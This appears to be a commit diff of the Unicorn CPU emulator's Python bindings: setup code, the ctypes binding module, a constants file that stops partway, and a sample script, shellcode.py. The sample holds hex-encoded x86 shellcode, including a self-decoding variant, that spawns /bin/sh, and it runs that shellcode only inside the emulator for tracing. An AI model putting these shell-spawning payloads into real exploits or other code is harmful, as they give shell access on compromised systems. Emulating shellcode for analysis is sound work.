SITE_PACKAGES = os.path.join(get_python_lib(), "unicorn")
if "--user" in sys.argv:
try:
from site import getusersitepackages
SITE_PACKAGES = os.path.join(getusersitepackages(), "unicorn")
except ImportError:
pass
SETUP_DATA_FILES = []
# adapted from commit e504b81 of Nguyen Tan Cong
# Reference: https://docs.python.org/2/library/platform.html#cross-platform
is_64bits = sys.maxsize > 2**32
def copy_sources():
"""Copy the C sources into the source directory.
This rearranges the source files under the python distribution
directory.
"""
src = []
try:
dir_util.remove_tree("src/")
except (IOError, OSError):
pass
dir_util.copy_tree("../../arch", "src/arch/")
dir_util.copy_tree("../../include", "src/include/")
src.extend(glob.glob("../../*.[ch]"))
src.extend(glob.glob("../../*.mk"))
src.extend(glob.glob("../../Makefile"))
src.extend(glob.glob("../../LICENSE*"))
src.extend(glob.glob("../../README"))
src.extend(glob.glob("../../*.TXT"))
src.extend(glob.glob("../../RELEASE_NOTES"))
src.extend(glob.glob("../../make.sh"))
src.extend(glob.glob("../../CMakeLists.txt"))
for filename in src:
outpath = os.path.join("./src/", os.path.basename(filename))
log.info("%s -> %s" % (filename, outpath))
shutil.copy(filename, outpath)
class custom_sdist(sdist):
"""Reshuffle files for distribution."""
def run(self):
# if prebuilt libraries are existent, then do not copy source
if os.path.exists(PATH_LIB64) and os.path.exists(PATH_LIB32):
return sdist.run(self)
copy_sources()
return sdist.run(self)
class custom_build_clib(build_clib):
"""Customized build_clib command."""
def run(self):
log.info('running custom_build_clib')
build_clib.run(self)
def finalize_options(self):
# We want build-clib to default to build-lib as defined by the "build"
# command. This is so the compiled library will be put in the right
# place along side the python code.
self.set_undefined_options('build',
('build_lib', 'build_clib'),
('build_temp', 'build_temp'),
('compiler', 'compiler'),
('debug', 'debug'),
('force', 'force'))
build_clib.finalize_options(self)
def build_libraries(self, libraries):
if SYSTEM in ("win32", "cygwin"):
# if Windows prebuilt library is available, then include it
if is_64bits and os.path.exists(PATH_LIB64):
SETUP_DATA_FILES.append(PATH_LIB64)
return
elif os.path.exists(PATH_LIB32):
SETUP_DATA_FILES.append(PATH_LIB32)
return
# build library from source if src/ is existent
if not os.path.exists('src'):
return
try:
for (lib_name, build_info) in libraries:
log.info("building '%s' library", lib_name)
os.chdir("src")
# platform description refers at https://docs.python.org/2/library/sys.html#sys.platform
if SYSTEM == "cygwin":
os.chmod("make.sh", stat.S_IREAD|stat.S_IEXEC)
if is_64bits:
os.system("UNICORN_BUILD_CORE_ONLY=yes ./make.sh cygwin-mingw64")
else:
os.system("UNICORN_BUILD_CORE_ONLY=yes ./make.sh cygwin-mingw32")
SETUP_DATA_FILES.append("src/unicorn.dll")
else: # Unix
os.chmod("make.sh", stat.S_IREAD|stat.S_IEXEC)
os.system("UNICORN_BUILD_CORE_ONLY=yes ./make.sh")
if SYSTEM == "darwin":
SETUP_DATA_FILES.append("src/libunicorn.dylib")
else: # Non-OSX
SETUP_DATA_FILES.append("src/libunicorn.so")
os.chdir("..")
except:
pass
def dummy_src():
return []
setup(
provides=['unicorn'],
packages=['unicorn'],
name=PKG_NAME,
version=VERSION,
author='Nguyen Anh Quynh',
author_email='aquynh@gmail.com',
description='Unicorn CPU emulator engine',
url='http://www.unicorn-engine.org',
classifiers=[
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 3',
],
requires=['ctypes'],
cmdclass=dict(
build_clib=custom_build_clib,
sdist=custom_sdist,
),
libraries=[(
'unicorn', dict(
package='unicorn',
sources=dummy_src()
),
)],
data_files=[(SITE_PACKAGES, SETUP_DATA_FILES)],
)

110
bindings/python/shellcode.py Executable file
View file

@ -0,0 +1,110 @@
#!/usr/bin/env python
# Sample code for X86 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
X86_CODE32 = b"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"
X86_CODE32_SELF = b"\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41\x41\x41\x41\x41"
X86_CODE64 = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
# memory address where emulation starts
ADDRESS = 0x1000000
# callback for tracing instructions
def hook_code(uc, address, size, user_data):
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))
# read this instruction code from memory
tmp = uc.mem_read(address, size)
print(">>> Instruction code at [0x%x] =" %(address), end="")
for i in tmp:
print(" %02x" %i, end="")
print("")
# callback for tracing basic blocks
def hook_block(uc, address, size, user_data):
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
# only handle Linux syscall
if intno != 0x80:
print("got interrupt %x ???" %intno);
uc.emu_stop()
return
eax = uc.reg_read(X86_REG_EAX)
eip = uc.reg_read(X86_REG_EIP)
if eax == 1: # sys_exit
print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" %(eip, intno, eax))
uc.emu_stop()
elif eax == 4: # sys_write
# ECX = buffer address
ecx = uc.reg_read(X86_REG_ECX)
# EDX = buffer size
edx = uc.reg_read(X86_REG_EDX)
try:
buf = uc.mem_read(ecx, edx)
print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = " \
%(eip, intno, ecx, edx), end="")
for i in buf:
print("%c" %i, end="")
print("")
except UcError as e:
print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = <unknown>\n" \
%(eip, intno, ecx, edx))
else:
print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" %(eip, intno, eax))
# Test X86 32 bit
def test_i386(mode, code):
print("Emulate x86 code")
try:
# Initialize emulator
mu = Uc(UC_ARCH_X86, mode)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, code)
# initialize stack
mu.reg_write(X86_REG_ESP, ADDRESS + 0x200000)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# handle interrupt ourself
mu.hook_add(UC_HOOK_INTR, hook_intr)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(code))
# now print out some registers
print(">>> Emulation done")
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
#test_i386(UC_MODE_32, X86_CODE32_SELF)
#print("=" * 20)
#test_i386(UC_MODE_32, X86_CODE32)
#print("=" * 20)
test_i386(UC_MODE_64, X86_CODE64) # FIXME

View file

@ -0,0 +1,458 @@
# Unicorn Python bindings, by Nguyen Anh Quynnh <aquynh@gmail.com>
import sys
_python2 = sys.version_info[0] < 3
if _python2:
range = xrange
from . import arm_const, arm64_const, mips_const, sparc_const, m68k_const, x86_const
__all__ = [
'Uc',
'uc_version',
'uc_support',
'version_bind',
'debug',
'UC_API_MAJOR',
'UC_API_MINOR',
'UC_ARCH_ARM',
'UC_ARCH_ARM64',
'UC_ARCH_MIPS',
'UC_ARCH_X86',
'UC_ARCH_SPARC',
'UC_ARCH_M68K',
'UC_ARCH_ALL',
'UC_MODE_LITTLE_ENDIAN',
'UC_MODE_BIG_ENDIAN',
'UC_MODE_16',
'UC_MODE_32',
'UC_MODE_64',
'UC_MODE_ARM',
'UC_MODE_THUMB',
'UC_MODE_MCLASS',
'UC_MODE_MICRO',
'UC_MODE_MIPS3',
'UC_MODE_MIPS32R6',
'UC_MODE_MIPSGP64',
'UC_MODE_V8',
'UC_MODE_V9',
'UC_MODE_MIPS32',
'UC_MODE_MIPS64',
'UC_ERR_OK',
'UC_ERR_OOM',
'UC_ERR_ARCH',
'UC_ERR_HANDLE',
'UC_ERR_UCH',
'UC_ERR_MODE',
'UC_ERR_VERSION',
'UC_ERR_MEM_READ',
'UC_ERR_MEM_WRITE',
'UC_ERR_CODE_INVALID',
'UC_ERR_HOOK',
'UC_ERR_INSN_INVALID',
'UC_HOOK_INTR',
'UC_HOOK_INSN',
'UC_HOOK_CODE',
'UC_HOOK_BLOCK',
'UC_HOOK_MEM_INVALID',
'UC_HOOK_MEM_READ',
'UC_HOOK_MEM_WRITE',
'UC_HOOK_MEM_READ_WRITE',
'UC_MEM_READ',
'UC_MEM_WRITE',
'UC_MEM_READ_WRITE',
'UC_SECOND_SCALE',
'UC_MILISECOND_SCALE',
'UcError',
]
# Unicorn C interface
# API version
UC_API_MAJOR = 0
UC_API_MINOR = 9
# Architectures
UC_ARCH_ARM = 1
UC_ARCH_ARM64 = 2
UC_ARCH_MIPS = 3
UC_ARCH_X86 = 4
UC_ARCH_PPC = 5
UC_ARCH_SPARC = 6
UC_ARCH_M68K = 7
UC_ARCH_MAX = 8
UC_ARCH_ALL = 0xFFFF
# Hardware modes
UC_MODE_LITTLE_ENDIAN = 0 # little-endian mode (default mode)
UC_MODE_ARM = 0 # ARM mode
UC_MODE_16 = (1 << 1) # 16-bit mode (for X86)
UC_MODE_32 = (1 << 2) # 32-bit mode (for X86)
UC_MODE_64 = (1 << 3) # 64-bit mode (for X86, PPC)
UC_MODE_THUMB = (1 << 4) # ARM's Thumb mode, including Thumb-2
UC_MODE_MCLASS = (1 << 5) # ARM's Cortex-M series
UC_MODE_V8 = (1 << 6) # ARMv8 A32 encodings for ARM
UC_MODE_MICRO = (1 << 4) # MicroMips mode (MIPS architecture)
UC_MODE_MIPS3 = (1 << 5) # Mips III ISA
UC_MODE_MIPS32R6 = (1 << 6) # Mips32r6 ISA
UC_MODE_MIPSGP64 = (1 << 7) # General Purpose Registers are 64-bit wide (MIPS arch)
UC_MODE_V9 = (1 << 4) # Sparc V9 mode (for Sparc)
UC_MODE_BIG_ENDIAN = (1 << 31) # big-endian mode
UC_MODE_MIPS32 = UC_MODE_32 # Mips32 ISA
UC_MODE_MIPS64 = UC_MODE_64 # Mips64 ISA
# Unicorn error type
UC_ERR_OK = 0 # No error: everything was fine
UC_ERR_OOM = 1 # Out-Of-Memory error: uc_open(), uc_emulate()
UC_ERR_ARCH = 2 # Unsupported architecture: uc_open()
UC_ERR_HANDLE = 3 # Invalid handle
UC_ERR_UCH = 4 # Invalid handle (uch)
UC_ERR_MODE = 5 # Invalid/unsupported mode: uc_open()
UC_ERR_VERSION = 6 # Unsupported version (bindings)
UC_ERR_MEM_READ = 7 # Quit emulation due to invalid memory READ: uc_emu_start()
UC_ERR_MEM_WRITE = 8 # Quit emulation due to invalid memory WRITE: uc_emu_start()
UC_ERR_CODE_INVALID = 9 # Quit emulation due to invalid code address: uc_emu_start()
UC_ERR_HOOK = 10 # Invalid hook type: uc_hook_add()
UC_ERR_INSN_INVALID = 11 # Invalid instruction
# All type of hooks for uc_hook_add() API.
UC_HOOK_INTR = 32 # Hook all interrupt events
UC_HOOK_INSN = 33 # Hook a particular instruction
UC_HOOK_CODE = 34 # Hook a range of code
UC_HOOK_BLOCK = 35 # Hook basic blocks
UC_HOOK_MEM_INVALID = 36 # Hook for all invalid memory access events
UC_HOOK_MEM_READ = 37 # Hook all memory read events.
UC_HOOK_MEM_WRITE = 38 # Hook all memory write events.
UC_HOOK_MEM_READ_WRITE = 39 # Hook all memory accesses (either READ or WRITE).
# All type of memory accesses for UC_HOOK_MEM_*
UC_MEM_READ = 16 # Memory is read from
UC_MEM_WRITE = 17 # Memory is written to
UC_MEM_READ_WRITE = 18 # Memory is accessed (either READ or WRITE)
# Time scales to calculate timeout on microsecond unit
# This is for Uc.emu_start()
UC_SECOND_SCALE = 1000000 # 1 second = 1000,000 microseconds
UC_MILISECOND_SCALE = 1000 # 1 milisecond = 1000 nanoseconds
import ctypes, ctypes.util, sys
from os.path import split, join, dirname
import distutils.sysconfig
import inspect
if not hasattr(sys.modules[__name__], '__file__'):
__file__ = inspect.getfile(inspect.currentframe())
_lib_path = split(__file__)[0]
_all_libs = ['unicorn.dll', 'libunicorn.so', 'libunicorn.dylib']
_found = False
for _lib in _all_libs:
try:
_lib_file = join(_lib_path, _lib)
# print "Trying to load:", _lib_file
_uc = ctypes.cdll.LoadLibrary(_lib_file)
_found = True
break
except OSError:
pass
if _found == False:
# try loading from default paths
for _lib in _all_libs:
try:
_uc = ctypes.cdll.LoadLibrary(_lib)
_found = True
break
except OSError:
pass
if _found == False:
# last try: loading from python lib directory
_lib_path = distutils.sysconfig.get_python_lib()
for _lib in _all_libs:
try:
_lib_file = join(_lib_path, 'unicorn', _lib)
# print "Trying to load:", _lib_file
_uc = ctypes.cdll.LoadLibrary(_lib_file)
_found = True
break
except OSError:
pass
if _found == False:
raise ImportError("ERROR: fail to load the dynamic library.")
# setup all the function prototype
def _setup_prototype(lib, fname, restype, *argtypes):
getattr(lib, fname).restype = restype
getattr(lib, fname).argtypes = argtypes
_setup_prototype(_uc, "uc_version", ctypes.c_int, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
_setup_prototype(_uc, "uc_support", ctypes.c_bool, ctypes.c_int)
_setup_prototype(_uc, "uc_open", ctypes.c_int, ctypes.c_uint, ctypes.c_uint, ctypes.POINTER(ctypes.c_size_t))
_setup_prototype(_uc, "uc_close", ctypes.c_int, ctypes.POINTER(ctypes.c_size_t))
_setup_prototype(_uc, "uc_strerror", ctypes.c_char_p, ctypes.c_int)
_setup_prototype(_uc, "uc_errno", ctypes.c_int, ctypes.c_size_t)
_setup_prototype(_uc, "uc_reg_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p)
_setup_prototype(_uc, "uc_reg_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p)
_setup_prototype(_uc, "uc_mem_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t)
_setup_prototype(_uc, "uc_mem_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t)
_setup_prototype(_uc, "uc_emu_start", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_size_t)
_setup_prototype(_uc, "uc_emu_stop", ctypes.c_int, ctypes.c_size_t)
_setup_prototype(_uc, "uc_hook_del", ctypes.c_int, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t))
_setup_prototype(_uc, "uc_mem_map", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t)
# uc_hook_add is special due to variable number of arguments
_uc.uc_hook_add = getattr(_uc, "uc_hook_add")
_uc.uc_hook_add.restype = ctypes.c_int
UC_HOOK_CODE_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_void_p)
UC_HOOK_MEM_INVALID_CB = ctypes.CFUNCTYPE(ctypes.c_bool, ctypes.c_size_t, ctypes.c_int, \
ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p)
UC_HOOK_MEM_ACCESS_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_int, \
ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p)
UC_HOOK_INTR_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \
ctypes.c_void_p)
UC_HOOK_INSN_IN_CB = ctypes.CFUNCTYPE(ctypes.c_uint32, ctypes.c_size_t, ctypes.c_uint32, \
ctypes.c_int, ctypes.c_void_p)
UC_HOOK_INSN_OUT_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \
ctypes.c_int, ctypes.c_uint32, ctypes.c_void_p)
# access to error code via @errno of UcError
class UcError(Exception):
def __init__(self, errno):
self.errno = errno
def __str__(self):
return _uc.uc_strerror(self.errno)
# return the core's version
def uc_version():
major = ctypes.c_int()
minor = ctypes.c_int()
combined = _uc.uc_version(ctypes.byref(major), ctypes.byref(minor))
return (major.value, minor.value, combined)
# return the binding's version
def version_bind():
return (UC_API_MAJOR, UC_API_MINOR, (UC_API_MAJOR << 8) + UC_API_MINOR)
# check to see if this engine supports a particular arch
def uc_support(query):
return _uc.uc_support(query)
class Uc(object):
def __init__(self, arch, mode):
# verify version compatibility with the core before doing anything
(major, minor, _combined) = uc_version()
if major != UC_API_MAJOR or minor != UC_API_MINOR:
self._uch = None
# our binding version is different from the core's API version
raise UcError(UC_ERR_VERSION)
self._arch, self._mode = arch, mode
self._uch = ctypes.c_size_t()
status = _uc.uc_open(arch, mode, ctypes.byref(self._uch))
if status != UC_ERR_OK:
self._uch = None
raise UcError(status)
# internal mapping table to save callback & userdata
self._callbacks = {}
self._callback_count = 0
# destructor to be called automatically when object is destroyed.
def __del__(self):
if self._uch:
try:
status = _uc.uc_close(ctypes.byref(self._uch))
if status != UC_ERR_OK:
raise UcError(status)
except: # _uc might be pulled from under our feet
pass
# emulate from @begin, and stop when reaching address @until
def emu_start(self, begin, until, timeout=0, count=0):
status = _uc.uc_emu_start(self._uch, begin, until, timeout, count)
if status != UC_ERR_OK:
raise UcError(status)
# stop emulation
def emu_stop(self):
status = _uc.uc_emu_stop(self._uch)
if status != UC_ERR_OK:
raise UcError(status)
# return the value of a register
def reg_read(self, reg_id):
# read to 64bit number to be safe
reg = ctypes.c_int64(0)
status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg))
if status != UC_ERR_OK:
raise UcError(status)
return reg.value
# write to a register
def reg_write(self, reg_id, value):
# convert to 64bit number to be safe
reg = ctypes.c_int64(value)
status = _uc.uc_reg_write(self._uch, reg_id, ctypes.byref(reg))
if status != UC_ERR_OK:
raise UcError(status)
# read data from memory
def mem_read(self, address, size):
data = ctypes.create_string_buffer(size)
status = _uc.uc_mem_read(self._uch, address, data, size)
if status != UC_ERR_OK:
raise UcError(status)
return bytearray(data)
# write to memory
def mem_write(self, address, data):
status = _uc.uc_mem_write(self._uch, address, data, len(data))
if status != UC_ERR_OK:
raise UcError(status)
# map a range of memory
def mem_map(self, address, size):
status = _uc.uc_mem_map(self._uch, address, size)
if status != UC_ERR_OK:
raise UcError(status)
def _hookcode_cb(self, handle, address, size, user_data):
# call user's callback with self object
(cb, data) = self._callbacks[user_data]
cb(self, address, size, data)
def _hook_mem_invalid_cb(self, handle, access, address, size, value, user_data):
# call user's callback with self object
(cb, data) = self._callbacks[user_data]
return cb(self, access, address, size, value, data)
def _hook_mem_access_cb(self, handle, access, address, size, value, user_data):
# call user's callback with self object
(cb, data) = self._callbacks[user_data]
cb(self, access, address, size, value, data)
def _hook_intr_cb(self, handle, intno, user_data):
# call user's callback with self object
(cb, data) = self._callbacks[user_data]
cb(self, intno, data)
def _hook_insn_in_cb(self, handle, port, size, user_data):
# call user's callback with self object
(cb, data) = self._callbacks[user_data]
return cb(self, port, size, data)
def _hook_insn_out_cb(self, handle, port, size, value, user_data):
# call user's callback with self object
(cb, data) = self._callbacks[user_data]
cb(self, port, size, value, data)
# add a hook
def hook_add(self, htype, callback, user_data=None, arg1=1, arg2=0):
_h2 = ctypes.c_size_t()
# save callback & user_data
self._callback_count += 1
self._callbacks[self._callback_count] = (callback, user_data)
if htype in (UC_HOOK_BLOCK, UC_HOOK_CODE):
begin = ctypes.c_uint64(arg1)
end = ctypes.c_uint64(arg2)
# set callback with wrapper, so it can be called
# with this object as param
cb = ctypes.cast(UC_HOOK_CODE_CB(self._hookcode_cb), UC_HOOK_CODE_CB)
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, cb, \
ctypes.cast(self._callback_count, ctypes.c_void_p), begin, end)
elif htype == UC_HOOK_MEM_INVALID:
cb = ctypes.cast(UC_HOOK_MEM_INVALID_CB(self._hook_mem_invalid_cb), UC_HOOK_MEM_INVALID_CB)
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
elif htype in (UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE, UC_HOOK_MEM_READ_WRITE):
cb = ctypes.cast(UC_HOOK_MEM_ACCESS_CB(self._hook_mem_access_cb), UC_HOOK_MEM_ACCESS_CB)
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
elif htype == UC_HOOK_INSN:
insn = ctypes.c_int(arg1)
if arg1 == x86_const.X86_INS_IN: # IN instruction
cb = ctypes.cast(UC_HOOK_INSN_IN_CB(self._hook_insn_in_cb), UC_HOOK_INSN_IN_CB)
if arg1 == x86_const.X86_INS_OUT: # OUT instruction
cb = ctypes.cast(UC_HOOK_INSN_OUT_CB(self._hook_insn_out_cb), UC_HOOK_INSN_OUT_CB)
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
cb, ctypes.cast(self._callback_count, ctypes.c_void_p), insn)
elif htype == UC_HOOK_INTR:
cb = ctypes.cast(UC_HOOK_INTR_CB(self._hook_intr_cb), UC_HOOK_INTR_CB)
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
if status != UC_ERR_OK:
raise UcError(status)
return _h2.value
# delete a hook
def hook_del(self, h):
_h = ctypes.c_size_t(h)
status = _uc.uc_hook_del(self._uch, ctypes.byref(_h))
if status != UC_ERR_OK:
raise UcError(status)
h = 0
# print out debugging info
def debug():
archs = { "arm": UC_ARCH_ARM, "arm64": UC_ARCH_ARM64, \
"mips": UC_ARCH_MIPS, "sparc": UC_ARCH_SPARC, \
"m68k": UC_ARCH_M68K }
all_archs = ""
keys = archs.keys()
keys.sort()
for k in keys:
if uc_support(archs[k]):
all_archs += "-%s" % k
if uc_support(UC_ARCH_X86):
all_archs += "-x86"
if uc_support(UC_SUPPORT_X86_REDUCE):
all_archs += "_reduce"
(major, minor, _combined) = uc_version()
return "python-%s-c%u.%u-b%u.%u" % (all_archs, major, minor, UC_API_MAJOR, UC_API_MINOR)

View file

@ -0,0 +1,274 @@
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm64_const.py]
# ARM64 registers
ARM64_REG_INVALID = 0
ARM64_REG_X29 = 1
ARM64_REG_X30 = 2
ARM64_REG_NZCV = 3
ARM64_REG_SP = 4
ARM64_REG_WSP = 5
ARM64_REG_WZR = 6
ARM64_REG_XZR = 7
ARM64_REG_B0 = 8
ARM64_REG_B1 = 9
ARM64_REG_B2 = 10
ARM64_REG_B3 = 11
ARM64_REG_B4 = 12
ARM64_REG_B5 = 13
ARM64_REG_B6 = 14
ARM64_REG_B7 = 15
ARM64_REG_B8 = 16
ARM64_REG_B9 = 17
ARM64_REG_B10 = 18
ARM64_REG_B11 = 19
ARM64_REG_B12 = 20
ARM64_REG_B13 = 21
ARM64_REG_B14 = 22
ARM64_REG_B15 = 23
ARM64_REG_B16 = 24
ARM64_REG_B17 = 25
ARM64_REG_B18 = 26
ARM64_REG_B19 = 27
ARM64_REG_B20 = 28
ARM64_REG_B21 = 29
ARM64_REG_B22 = 30
ARM64_REG_B23 = 31
ARM64_REG_B24 = 32
ARM64_REG_B25 = 33
ARM64_REG_B26 = 34
ARM64_REG_B27 = 35
ARM64_REG_B28 = 36
ARM64_REG_B29 = 37
ARM64_REG_B30 = 38
ARM64_REG_B31 = 39
ARM64_REG_D0 = 40
ARM64_REG_D1 = 41
ARM64_REG_D2 = 42
ARM64_REG_D3 = 43
ARM64_REG_D4 = 44
ARM64_REG_D5 = 45
ARM64_REG_D6 = 46
ARM64_REG_D7 = 47
ARM64_REG_D8 = 48
ARM64_REG_D9 = 49
ARM64_REG_D10 = 50
ARM64_REG_D11 = 51
ARM64_REG_D12 = 52
ARM64_REG_D13 = 53
ARM64_REG_D14 = 54
ARM64_REG_D15 = 55
ARM64_REG_D16 = 56
ARM64_REG_D17 = 57
ARM64_REG_D18 = 58
ARM64_REG_D19 = 59
ARM64_REG_D20 = 60
ARM64_REG_D21 = 61
ARM64_REG_D22 = 62
ARM64_REG_D23 = 63
ARM64_REG_D24 = 64
ARM64_REG_D25 = 65
ARM64_REG_D26 = 66
ARM64_REG_D27 = 67
ARM64_REG_D28 = 68
ARM64_REG_D29 = 69
ARM64_REG_D30 = 70
ARM64_REG_D31 = 71
ARM64_REG_H0 = 72
ARM64_REG_H1 = 73
ARM64_REG_H2 = 74
ARM64_REG_H3 = 75
ARM64_REG_H4 = 76
ARM64_REG_H5 = 77
ARM64_REG_H6 = 78
ARM64_REG_H7 = 79
ARM64_REG_H8 = 80
ARM64_REG_H9 = 81
ARM64_REG_H10 = 82
ARM64_REG_H11 = 83
ARM64_REG_H12 = 84
ARM64_REG_H13 = 85
ARM64_REG_H14 = 86
ARM64_REG_H15 = 87
ARM64_REG_H16 = 88
ARM64_REG_H17 = 89
ARM64_REG_H18 = 90
ARM64_REG_H19 = 91
ARM64_REG_H20 = 92
ARM64_REG_H21 = 93
ARM64_REG_H22 = 94
ARM64_REG_H23 = 95
ARM64_REG_H24 = 96
ARM64_REG_H25 = 97
ARM64_REG_H26 = 98
ARM64_REG_H27 = 99
ARM64_REG_H28 = 100
ARM64_REG_H29 = 101
ARM64_REG_H30 = 102
ARM64_REG_H31 = 103
ARM64_REG_Q0 = 104
ARM64_REG_Q1 = 105
ARM64_REG_Q2 = 106
ARM64_REG_Q3 = 107
ARM64_REG_Q4 = 108
ARM64_REG_Q5 = 109
ARM64_REG_Q6 = 110
ARM64_REG_Q7 = 111
ARM64_REG_Q8 = 112
ARM64_REG_Q9 = 113
ARM64_REG_Q10 = 114
ARM64_REG_Q11 = 115
ARM64_REG_Q12 = 116
ARM64_REG_Q13 = 117
ARM64_REG_Q14 = 118
ARM64_REG_Q15 = 119
ARM64_REG_Q16 = 120
ARM64_REG_Q17 = 121
ARM64_REG_Q18 = 122
ARM64_REG_Q19 = 123
ARM64_REG_Q20 = 124
ARM64_REG_Q21 = 125
ARM64_REG_Q22 = 126
ARM64_REG_Q23 = 127
ARM64_REG_Q24 = 128
ARM64_REG_Q25 = 129
ARM64_REG_Q26 = 130
ARM64_REG_Q27 = 131
ARM64_REG_Q28 = 132
ARM64_REG_Q29 = 133
ARM64_REG_Q30 = 134
ARM64_REG_Q31 = 135
ARM64_REG_S0 = 136
ARM64_REG_S1 = 137
ARM64_REG_S2 = 138
ARM64_REG_S3 = 139
ARM64_REG_S4 = 140
ARM64_REG_S5 = 141
ARM64_REG_S6 = 142
ARM64_REG_S7 = 143
ARM64_REG_S8 = 144
ARM64_REG_S9 = 145
ARM64_REG_S10 = 146
ARM64_REG_S11 = 147
ARM64_REG_S12 = 148
ARM64_REG_S13 = 149
ARM64_REG_S14 = 150
ARM64_REG_S15 = 151
ARM64_REG_S16 = 152
ARM64_REG_S17 = 153
ARM64_REG_S18 = 154
ARM64_REG_S19 = 155
ARM64_REG_S20 = 156
ARM64_REG_S21 = 157
ARM64_REG_S22 = 158
ARM64_REG_S23 = 159
ARM64_REG_S24 = 160
ARM64_REG_S25 = 161
ARM64_REG_S26 = 162
ARM64_REG_S27 = 163
ARM64_REG_S28 = 164
ARM64_REG_S29 = 165
ARM64_REG_S30 = 166
ARM64_REG_S31 = 167
ARM64_REG_W0 = 168
ARM64_REG_W1 = 169
ARM64_REG_W2 = 170
ARM64_REG_W3 = 171
ARM64_REG_W4 = 172
ARM64_REG_W5 = 173
ARM64_REG_W6 = 174
ARM64_REG_W7 = 175
ARM64_REG_W8 = 176
ARM64_REG_W9 = 177
ARM64_REG_W10 = 178
ARM64_REG_W11 = 179
ARM64_REG_W12 = 180
ARM64_REG_W13 = 181
ARM64_REG_W14 = 182
ARM64_REG_W15 = 183
ARM64_REG_W16 = 184
ARM64_REG_W17 = 185
ARM64_REG_W18 = 186
ARM64_REG_W19 = 187
ARM64_REG_W20 = 188
ARM64_REG_W21 = 189
ARM64_REG_W22 = 190
ARM64_REG_W23 = 191
ARM64_REG_W24 = 192
ARM64_REG_W25 = 193
ARM64_REG_W26 = 194
ARM64_REG_W27 = 195
ARM64_REG_W28 = 196
ARM64_REG_W29 = 197
ARM64_REG_W30 = 198
ARM64_REG_X0 = 199
ARM64_REG_X1 = 200
ARM64_REG_X2 = 201
ARM64_REG_X3 = 202
ARM64_REG_X4 = 203
ARM64_REG_X5 = 204
ARM64_REG_X6 = 205
ARM64_REG_X7 = 206
ARM64_REG_X8 = 207
ARM64_REG_X9 = 208
ARM64_REG_X10 = 209
ARM64_REG_X11 = 210
ARM64_REG_X12 = 211
ARM64_REG_X13 = 212
ARM64_REG_X14 = 213
ARM64_REG_X15 = 214
ARM64_REG_X16 = 215
ARM64_REG_X17 = 216
ARM64_REG_X18 = 217
ARM64_REG_X19 = 218
ARM64_REG_X20 = 219
ARM64_REG_X21 = 220
ARM64_REG_X22 = 221
ARM64_REG_X23 = 222
ARM64_REG_X24 = 223
ARM64_REG_X25 = 224
ARM64_REG_X26 = 225
ARM64_REG_X27 = 226
ARM64_REG_X28 = 227
ARM64_REG_V0 = 228
ARM64_REG_V1 = 229
ARM64_REG_V2 = 230
